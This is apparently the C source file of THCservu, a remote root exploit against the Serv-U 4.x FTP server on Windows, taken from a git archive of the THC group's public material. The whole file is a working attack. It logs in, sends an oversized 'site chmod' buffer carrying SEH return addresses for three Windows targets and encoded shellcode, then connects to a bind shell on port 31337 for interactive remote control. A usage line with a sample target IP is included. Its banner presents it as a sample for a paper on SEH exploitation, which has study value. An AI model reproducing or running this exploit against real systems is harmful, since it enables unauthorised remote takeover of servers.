initial push of all stuff :)
[oweals/thc-archive.git] / Exploits / THCservu.c
1 /*****************************************************************************/
2 /* THCservu 0.1 - Wind0wZ remote root exploit                                */
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
4 /* THC PUBLIC SOURCE MATERIALS                                               */
5 /*                                                                           */
6 /* Credits go to kkqq@0x557.org who found that bug.                          */
7 /* his Advisory: http://www.0x557.org/release/servu.txt                      */
8 /*                                                                           */
9 /* compile with MS Visual C++ : cl THCservu.c                                */
10 /*                                                                           */
11 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
12 /* scut, stealth, FtR and Random                                             */
13 /*****************************************************************************/
14
15 #include <stdio.h>
16 #include <stdlib.h>
17 #include <string.h>
18 #include <winsock2.h>
19
20 #pragma comment(lib, "ws2_32.lib")
21
22 char *WIN2KEN   = "\xc4\x2a\x02\x75";
23 char *WIN2KPG   = "\xc4\x2a\xf9\x74";
24 char *WINXPSP1G = "\x61\x24\xa0\x71";
25
26 #define jumper    "\xeb\x06\x4a\x43"
27
28 char shellcode[] =
29 "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
30 "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
31 "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
32 "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
33 "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
34 "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
35 "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
36 "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
37 "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
38 "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
39 "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
40 "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
41 "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
42 "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
43 "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
44 "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
45 "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
46 "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
47 "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
48 "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
49 "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
50 "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
51 "\xda\x63\xe5\x70\x70\xda\x6f";
52
53
54 void usage();
55 void shell(int sock);
56
57 int main(int argc, char *argv[])
58 {  
59   unsigned short servuport;
60   unsigned int i,sock,sock2,addr,os,rc,rc2,dirlen,craplen=400;
61   unsigned char *user,*pass,*chmod,*recvbuf,*finalbuffer,*crapbuf,*directory;
62   unsigned char *temp;
63   struct sockaddr_in mytcp;
64   struct hostent * hp;
65   WSADATA wsaData;
66
67   printf("\nTHCservu v0.1 - Servu 4.x sample exploit for the paper\n");
68   printf("Practical SEH exploitation - by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
69
70   if(argc<7 || argc>7)
71    usage();
72
73   user = malloc(256);
74   memset(user,0,256);
75
76   pass = malloc(256);
77   memset(pass,0,256);
78   
79   chmod = malloc(128);
80   memset(chmod,0,128);
81
82   directory = malloc(256);
83   memset(directory,0,256);
84
85   crapbuf = malloc(512);
86   memset(crapbuf,0,512);
87
88   recvbuf = malloc(256);
89   memset(recvbuf,0,256);
90
91   finalbuffer = malloc(1000);
92   memset(finalbuffer,0,1000);
93
94   printf("\n[*] building buffer\n");
95
96   sprintf(user,"user %s\r\n",argv[3]);
97   sprintf(pass,"pass %s\r\n",argv[4]);
98   strcpy(chmod,"site chmod 666 ");
99
100   temp=malloc(256);
101   memset(temp,0,256);
102   
103   dirlen=strlen(argv[5]);
104   temp=argv[5];
105   if((strncmp("\\",temp,1))!=0)
106   {
107    printf("\nGimme valid path name, ie. \\upload\n");
108    exit(-1);
109   }
110   
111   if(dirlen!=1)
112    dirlen-=3;
113   else
114    dirlen-=4;
115     
116   craplen=craplen-dirlen;
117   
118   for(i=0;i<craplen;i++)
119    crapbuf[i]='X';
120
121   strcat(finalbuffer,chmod);
122   strcat(finalbuffer,crapbuf);
123   strcat(finalbuffer,jumper);
124
125   os = (unsigned short)atoi(argv[6]);  
126   switch(os)
127   {
128    case 0:
129     strcat(finalbuffer,WIN2KPG);
130     break;
131    case 1:
132     strcat(finalbuffer,WIN2KPG);
133     break;
134    case 2:
135     strcat(finalbuffer,WINXPSP1G);
136     break;
137    default:
138     printf("\nYou entered an illegal target !\n\n");
139     usage();
140     exit(-1);
141   }
142
143   strcat(finalbuffer,shellcode);
144   strcat(finalbuffer,"\r\n");
145       
146   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
147   {
148    printf("WSAStartup failed !\n");
149    exit(-1);
150   }
151   
152   hp = gethostbyname(argv[1]);
153
154   if (!hp){
155    addr = inet_addr(argv[1]);
156   }
157   if ((!hp)  && (addr == INADDR_NONE) )
158   {
159    printf("Unable to resolve %s\n",argv[1]);
160    exit(-1);
161   }
162
163   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
164   if (!sock)
165   { 
166    printf("socket() error...\n");
167    exit(-1);
168   }
169   
170   if (hp != NULL)
171    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
172   else
173    mytcp.sin_addr.s_addr = addr;
174
175   if (hp)
176    mytcp.sin_family = hp->h_addrtype;
177   else
178    mytcp.sin_family = AF_INET;
179
180   servuport=atoi(argv[2]);
181   mytcp.sin_port=htons(servuport);
182
183   printf("[*] connecting the target\n");
184
185   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
186   if(rc==0)
187   {
188      rc2=recv(sock,recvbuf,256,0);
189      printf("[*] sending username\n");
190      send(sock,user,256,0);
191      rc2=recv(sock,recvbuf,256,0);
192      printf("[*] sending password\n");
193      send(sock,pass,256,0);
194      rc2=recv(sock,recvbuf,256,0);
195      if(rc2<0)
196      {
197       printf("\nError while recv() data!\n");
198       exit(-1);
199      }
200      else if (memcmp(recvbuf,"530 ",4) == 0)
201      {
202       printf("\nWrong user/pass !\n");
203       exit(-1);
204      }
205      else
206      {
207       _snprintf(directory,127,"cwd %s\r\n",argv[5]);
208       send(sock,directory,256,0);
209       rc2=recv(sock,recvbuf,256,0);
210       if (memcmp(strupr(recvbuf),"550 ",4) == 0)
211       {
212        printf("\nError changing to path %s\n",argv[5]);
213        exit(-1);
214       }
215       
216       send(sock,finalbuffer,2000,0);
217       printf("[*] Exploit send successfully ! Sleeping a while ....\n");
218       Sleep(1000);
219      }
220   }
221   else
222    printf("\nCan't connect to ftp port!\n");
223    
224   if(rc==0)
225   {
226    printf("[*] Trying to get a shell\n\n");
227    sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
228    mytcp.sin_port = htons(31337);
229    rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
230    if(rc!=0)
231    {
232     rc2=recv(sock,recvbuf,256,0);
233     if (memcmp (recvbuf, "550 ", 4) == 0)
234     {
235      printf("\nYou don't have permissions to upload!\n");
236      exit(-1);
237     }
238     else        
239     {           
240      printf("can't connect to port 31337 ;( maybe firewalled ...\n");
241      exit(-1);
242     }
243    }
244    shell(sock2);
245   }
246
247   shutdown(sock,1);
248   closesocket(sock);
249
250   free(user);
251   free(pass);
252   free(chmod);
253   free(directory);
254   free(crapbuf);
255   free(finalbuffer);  
256   free(recvbuf);
257
258   exit(0);
259 }
260  
261 void usage()
262 {
263  unsigned int a;
264  printf("\nUsage:  <Host> <Port> <Username> <Password> <Directory> <Target>\n");
265  printf("Sample: THCservu 194.44.55.56 21 lamer test123 \\upload 0\n");
266  printf("Targets:\n");
267  printf("0 - Windows 2000 Server english all service packs\n");
268  printf("1 - Windows 2000 Professional german\n");
269  printf("2 - Windows XP SP1 german\n");
270  exit(0);
271 }
272
273 void shell(int sock)
274 {
275  int l;
276  char buf[1024];
277  struct timeval time;
278  unsigned long ul[2];
279
280  time.tv_sec = 1;
281  time.tv_usec = 0;
282
283  while (1)
284  {
285   ul[0] = 1;
286   ul[1] = sock;
287
288   l = select (0, (fd_set *)&ul, NULL, NULL, &time);
289   if(l == 1)
290   {     
291    l = recv (sock, buf, sizeof (buf), 0);
292    if (l <= 0)
293    {
294     printf ("bye bye...\n");
295     return;
296    }
297   l = write (1, buf, l);
298    if (l <= 0)
299    {
300     printf ("bye bye...\n");
301     return;
302    }
303   }
304   else
305   {
306    l = read (0, buf, sizeof (buf));
307    if (l <= 0)
308    {
309     printf("bye bye...\n");
310     return;
311    }
312    l = send(sock, buf, l, 0);
313    if (l <= 0)
314    {
315     printf("bye bye...\n");
316     return;
317    }
318   }
319  }
320 }